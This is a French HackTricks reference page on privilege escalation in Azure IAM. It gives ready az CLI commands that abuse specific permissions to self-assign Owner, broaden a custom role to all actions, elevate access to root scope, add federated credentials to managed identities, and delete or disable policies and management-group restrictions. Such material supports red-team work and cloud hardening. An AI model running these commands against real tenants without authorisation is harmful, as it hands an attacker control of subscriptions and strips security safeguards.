Az - Azure IAM Privesc (Authorization)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Azure IAM

Pour plus d’informations, consultez :

Az - Entra ID (AzureAD) & Azure IAM

Microsoft.Authorization/roleAssignments/write

Cette permission permet d’assigner des rôles à des principals sur une portée spécifique, permettant à un attacker d’escalader ses privilèges en s’assignant un rôle plus privilégié :

# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

Microsoft.Authorization/roleDefinitions/Write

Cette permission permet de modifier les permissions accordées par un rôle, permettant à un attacker d’escalate privileges en accordant plus de permissions à un rôle qu’il a assigné.

Créez le fichier role.json avec le contenu suivant :

{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}

Ensuite, mettez à jour les autorisations du rôle avec la définition précédente en appelant :

az role definition update --role-definition role.json

Microsoft.Authorization/elevateAccess/action

Cette permission permet d’élever les privilèges et de pouvoir attribuer des permissions à n’importe quel principal sur des ressources Azure. Elle est destinée à être attribuée aux Entra ID Global Administrators afin qu’ils puissent également gérer les permissions sur les ressources Azure.

Tip

Je pense que l’utilisateur doit être Global Administrator dans Entra ID pour que l’appel elevate fonctionne.

# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

Cette permission permet d’ajouter des Federated credentials aux managed identities. Par ex. donner accès à Github Actions dans un repo à une managed identity. Ensuite, elle permet de accéder à n’importe quelle managed identity définie par l’utilisateur.

Commande exemple pour donner accès à un repo sur Github à une managed identity :

# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

Un attaquant disposant de la permission Microsoft.Authorization/policyAssignments/write ou Microsoft.Authorization/policyAssignments/delete sur un management group, subscription ou resource group peut modifier ou supprimer des Azure policy assignments, et potentiellement désactiver des restrictions de sécurité qui bloquent certaines opérations.

Cela permet d’accéder à des ressources ou fonctionnalités qui étaient précédemment protégées par la policy.

Supprimer une policy assignment :

az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Désactiver une affectation de stratégie :

az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled

Vérifier les modifications :

# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Microsoft.Authorization/policyDefinitions/write

Un attaquant disposant de l’autorisation Microsoft.Authorization/policyDefinitions/write peut modifier les Azure policy definitions, en changeant les règles qui contrôlent les restrictions de sécurité dans l’ensemble de l’environnement.

Par exemple, une policy qui limite les régions autorisées pour la création de ressources peut être modifiée pour autoriser n’importe quelle région, ou l’effet de la policy peut être changé pour la rendre inefficace.

Modifier une définition de policy :

az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json

Vérifier les modifications :

az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"

Microsoft.Management/managementGroups/write

Un attaquant disposant de la permission Microsoft.Management/managementGroups/write peut modifier la structure hiérarchique des groupes de gestion ou créer de nouveaux groupes de gestion, s’affranchissant potentiellement des politiques restrictives appliquées à des niveaux supérieurs.

Par exemple, un attaquant peut créer un nouveau groupe de gestion sans politiques restrictives puis y déplacer des abonnements.

Créer un nouveau groupe de gestion :

az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"

Modifier une hiérarchie de management group :

az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"

Vérifier les modifications :

az account management-group list --output table

az account management-group show \
--name "<managementGroupId>" \
--expand

Microsoft.Management/managementGroups/subscriptions/write

Un attaquant disposant de la permission Microsoft.Management/managementGroups/subscriptions/write peut déplacer des subscriptions entre management groups, et potentiellement contourner des policies restrictives en déplaçant une subscription vers un groupe disposant de policies moins restrictives ou sans policies.

Déplacer une subscription vers un management group différent :

az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"

Vérifier les modifications :

az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks